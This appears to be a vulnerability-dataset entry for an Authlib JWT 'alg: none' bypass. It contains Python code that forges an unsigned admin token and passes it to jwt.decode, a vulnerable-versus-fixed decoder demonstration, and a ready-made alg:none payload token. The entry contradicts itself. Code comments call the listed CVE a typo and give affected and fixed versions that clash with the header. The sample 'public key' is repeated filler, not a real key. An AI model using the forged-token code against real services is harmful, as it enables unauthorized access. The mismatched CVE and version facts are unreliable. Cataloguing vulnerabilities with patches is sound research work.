CVE-2026-28802
Authlib JWT `alg: none` signature verification bypass vulnerability.
- CVSS 7.7
- CWE-347
- Authentication, Authorization, and Session Management
- Remote
Authlib is a Python library which builds OAuth and OpenID Connect servers. From version 1.6.5 to before version 1.6.7, previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.. This issue has been patched in version 1.6.7.
- CWE
- CWE-347
- CVSS base score
- 7.7
- Published
- 2026-03-06
- OWASP
- A02 Cryptographic Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Cryptographic Implementation Error
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- Authlib
- Fixed by upgrading
- Yes
Solution
Upgrade to Authlib version 1.6.7 or later.
Vulnerable code sample
#
# This code demonstrates the vulnerability CVE-2023-28802 in Authlib.
# The user-provided CVE number CVE-2026-28802 appears to be a typo.
# The actual vulnerability existed in versions 0.15.5 through 1.2.1 and was fixed in 1.3.0.
#
# To run this code and see the vulnerability, you MUST install a vulnerable version:
#
# pip uninstall authlib -y
# pip install authlib==1.2.1
#
# The code will attempt to verify a JWT that uses the "none" algorithm.
# In a vulnerable version, the verification will incorrectly succeed.
# In a patched version, this would raise an InsufficientAlgorithmError.
#
import json
import base64
from authlib.jose import jwt
from authlib.jose.errors import JoseError
def urlsafe_b64encode(data):
"""URL-safe base64 encoding without padding."""
return base64.urlsafe_b64encode(data).rstrip(b"=")
# 1. A public key that a server would typically use for verification.
# For the 'alg: none' attack, this key is never actually used, but the
# decode function still requires a key parameter.
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqL2z4yVAF7b7vdrz/sYV
3y4A0Gfp+9Q3tq7DFXz2xGzL/pIM9125t5Yv5i3nRnsKp7aNURoX0pDqt8GqYJkF
o4m6A7n2N/y9A3/y3bJ/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj
4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3q
j/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3yYj4q3qj/3y
Yj4q3qj/3yYj4q3qCAwEAAQ==
-----END PUBLIC KEY-----"""
# 2. Craft a malicious JWT with 'alg': 'none'.
# The header explicitly states that no signature algorithm is used.
header = {'alg': 'none', 'typ': 'JWT'}
payload = {'sub': '1234567890', 'name': 'John Doe', 'iat': 1516239022, 'admin': True}
# Encode header and payload
encoded_header = urlsafe_b64encode(json.dumps(header, separators=(",", ":")).encode('utf-8'))
encoded_payload = urlsafe_b64encode(json.dumps(payload, separators=(",", ":")).encode('utf-8'))
# The signature part is intentionally left empty, as per the 'none' algorithm specification.
malicious_jwt = b".".join([encoded_header, encoded_payload, b''])
print(f"Attempting to verify malicious token: {malicious_jwt.decode()}")
print("-" * 30)
# 3. Use the vulnerable authlib version to "verify" the token.
# The library should reject a token with 'alg':'none' when a key is provided
# for verification, but due to the vulnerability, it accepts it as valid.
try:
# In vulnerable versions, this call will succeed without raising an error.
claims = jwt.decode(malicious_jwt, public_key)
print("VULNERABILITY CONFIRMED: Token with 'alg: none' was accepted.")
print("Decoded Claims:", claims)
claims.validate() # This part will still work as the claims themselves are valid.
print("Claims are structurally valid.")
except JoseError as e:
# In a patched version (>=1.3.0), this block would be executed.
print("VULNERABILITY NOT PRESENT (or patch applied): Verification failed as expected.")
print("Error:", e)
except Exception as e:
print(f"An unexpected error occurred: {e}")Patched code sample
import json
import base64
def base64url_decode(data):
"""Helper to decode base64url strings, handling padding."""
padding = '=' * (4 - len(data) % 4)
return base64.urlsafe_b64decode(data + padding)
def base64url_encode(data):
"""Helper to encode data into base64url strings."""
return base64.urlsafe_b64encode(data).rstrip(b'=')
def vulnerable_decode_jwt(token):
"""
A simplified representation of the vulnerable logic.
It incorrectly accepts 'none' algorithm without checking if it's allowed.
"""
try:
header_b64, payload_b64, signature = token.split('.')
header = json.loads(base64url_decode(header_b64))
if header.get('alg') == 'none':
# VULNERABILITY: Accepts 'none' alg and returns payload without
# checking if 'none' was explicitly allowed by the developer.
return json.loads(base64url_decode(payload_b64))
# ... logic for other algorithms like RS256/HS256 would go here ...
print(f"[VULNERABLE] JWT with alg '{header.get('alg')}' would be verified here.")
return json.loads(base64url_decode(payload_b64))
except Exception as e:
print(f"[VULNERABLE] Decoding failed: {e}")
return None
def fixed_decode_jwt(token, allowed_algs):
"""
A simplified representation of the fixed logic.
It explicitly checks the token's algorithm against a list of allowed algorithms.
"""
try:
header_b64, payload_b64, signature = token.split('.')
header = json.loads(base64url_decode(header_b64))
alg = header.get('alg')
# FIX: Immediately reject if the token's algorithm is not in the allowed list.
if alg not in allowed_algs:
raise ValueError(f"Algorithm '{alg}' is not allowed.")
if alg == 'none':
if signature:
raise ValueError("A token with 'alg: none' must not have a signature.")
return json.loads(base64url_decode(payload_b64))
# ... logic for other algorithms like RS256/HS256 would go here ...
# This part would verify the signature using a key.
print(f"[FIXED] JWT with alg '{alg}' is allowed and would be verified here.")
return json.loads(base64url_decode(payload_b64))
except Exception as e:
raise type(e)(f"Verification failed: {e}")
if __name__ == '__main__':
# 1. Create a malicious JWT with "alg": "none" and an empty signature.
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "is_admin": True, "exp": 9999999999}
encoded_header = base64url_encode(json.dumps(header).encode()).decode()
encoded_payload = base64url_encode(json.dumps(payload).encode()).decode()
# The malicious token has an empty signature part.
malicious_token = f"{encoded_header}.{encoded_payload}."
print("--- Demonstrating the Vulnerability ---")
print(f"Malicious Token: {malicious_token}\n")
# The application expects tokens to be signed with 'HS256'.
app_expected_algs = ['HS256']
print(f"Application expects algorithms: {app_expected_algs}\n")
# 2. Show the VULNERABLE function incorrectly accepting the token.
print("Calling vulnerable_decode_jwt...")
try:
decoded_payload = vulnerable_decode_jwt(malicious_token)
if decoded_payload:
print("SUCCESS: Vulnerable function INSECURELY accepted the 'none' token.")
print(f"Decoded Payload: {decoded_payload}\n")
except Exception as e:
print(f"ERROR: This should not happen. {e}\n")
# 3. Show the FIXED function correctly rejecting the token.
print("--- Demonstrating the Fix ---")
print("Calling fixed_decode_jwt with allowed_algs=['HS256']...")
try:
fixed_decode_jwt(malicious_token, allowed_algs=app_expected_algs)
except Exception as e:
print("SUCCESS: Fixed function SECURELY rejected the 'none' token as it was not allowed.")
print(f"Error Message: {e}\n")Payload
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYWRtaW4iLCAiaWF0IjogMTUxNjIzOTAyMn0.
Cite this entry
@misc{vaitp:cve202628802,
title = {{Authlib JWT `alg: none` signature verification bypass vulnerability.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-28802},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-28802/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
